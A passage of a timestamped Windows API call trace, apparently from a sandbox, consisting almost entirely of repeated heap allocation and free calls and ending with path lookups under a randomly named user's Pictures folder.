hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.530] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.530] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.530] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.530] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.530] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.531] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.531] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.531] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.531] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.531] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.531] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.531] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.531] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.531] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.531] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.531] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.531] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.531] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.531] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0068.531] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.531] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.531] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.531] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.531] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.531] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.531] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.531] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.531] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.531] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.531] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.531] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.531] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.531] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.531] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.531] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.531] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.531] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.532] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.532] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0068.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.533] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.533] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.534] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.534] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.535] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.535] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.536] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.536] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.536] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.536] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.536] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.536] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.536] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.536] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.536] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.536] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.536] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.536] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.536] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.536] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.536] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.536] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.536] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.537] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.537] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.537] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.537] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.537] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.537] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.537] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.537] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.537] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.537] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.537] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.537] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.537] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.537] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.537] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.537] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.537] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.537] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.537] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.537] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.537] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.537] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.537] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.537] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.537] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.537] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.537] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.537] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.537] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.537] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.538] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\kC1ICfT8pFYQG\\") returned="kC1ICfT8pFYQG\\" [0068.538] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0068.538] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175418 [0068.538] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\") returned="LlZj-da3Lc0SAD\\" [0068.538] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0068.538] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0068.538] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0068.538] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.538] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0068.538] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.538] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.538] PathFindFileNameW 